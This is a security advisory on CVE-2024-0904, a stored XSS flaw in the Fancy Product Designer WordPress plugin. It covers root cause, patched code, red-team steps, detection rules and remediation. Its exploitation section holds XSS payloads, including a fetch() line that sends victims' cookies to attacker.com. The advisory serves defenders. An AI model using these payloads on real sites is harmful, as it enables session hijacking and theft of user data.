CVE-2024-0904

Executive Summary

CVE-2024-0904 is a Stored Cross-Site Scripting (XSS) vulnerability in the Fancy Product Designer WordPress plugin, affecting versions prior to 6.1.81. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. In a multisite WordPress configuration, even when the unfiltered_html capability is disallowed, an admin can still execute stored XSS attacks. This can lead to session hijacking, defacement, or redirection of users to malicious sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin file by checking its SHA-256 hash against the official release. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit affected page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin privileges, but in a multisite environment, the impact can be widespread.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized before being stored and later rendered. An admin can inject arbitrary JavaScript into fields such as custom CSS, custom JS, or other configuration options. When a lower-privileged user (e.g., subscriber) visits a page that renders these settings, the injected script executes in their browser context.

Root Cause: The plugin uses echo or print to output settings values without applying esc_html() or wp_kses() filtering. This allows HTML/JavaScript to be stored and executed.

Attack Flow:

1. Admin navigates to Fancy Product Designer settings.
2. Admin injects malicious JavaScript into a vulnerable field (e.g., custom CSS).
3. The script is stored in the WordPress database.
4. A victim (e.g., shop customer) visits a product page that loads the plugin's settings.
5. The injected script executes, stealing cookies or redirecting the user.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.1.81):

// In settings page output
echo $settings['custom_css'];

Patched Code (6.1.81+):

// Properly escape output
echo esc_html( $settings['custom_css'] );

The patch applies esc_html() to all settings output, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress multisite installation with Fancy Product Designer < 6.1.81.
• Admin credentials for the network.

Exploitation Steps:

1. Log in as a super admin.
2. Navigate to Fancy Product Designer → Settings.
3. In the "Custom CSS" field, inject:

   <script>alert('XSS')</script>
   

4. Save settings.
5. As a victim (e.g., subscriber), visit any product page that uses the plugin.
6. The script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual changes to plugin settings by admin accounts.
• Look for wp_options entries containing <script> tags.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin.php?page=fancy-product-designer.

Honeypot:

• Deploy a fake admin account with low privileges to detect scanning attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/fancy-product-designer/fancy-product-designer.php (version < 6.1.81)
• Database: wp_options table entries containing fancy_product_designer_settings with <script> tags.
• Network: Outbound requests to attacker-controlled domains from admin pages.
• Logs: WordPress debug log entries showing wp_kses or esc_html failures.

Detection Engineering

YARA Rule

rule CVE_2024_0904_Fancy_Product_Designer_XSS {
    meta:
        description = "Detects vulnerable Fancy Product Designer plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0904"
    strings:
        $vuln_func = /echo\s*\$settings\[/
        $plugin_header = "Fancy Product Designer"
    condition:
        $plugin_header and $vuln_func
}

Sigma Rule

title: CVE-2024-0904 Fancy Product Designer Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin.php?page=fancy-product-designer'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0904 Fancy Product Designer Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=fancy-product-designer"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Fancy Product Designer version 6.1.81 or later.
2. Workaround: If upgrade is not possible, restrict admin access to trusted users only. Disable the plugin on multisite networks until patched.
3. WAF Rule: Block POST requests to admin.php?page=fancy-product-designer containing <script> tags.
4. Monitoring: Enable WordPress audit logging to track changes to plugin settings.
5. Least Privilege: Ensure only necessary users have admin capabilities.

Valters IT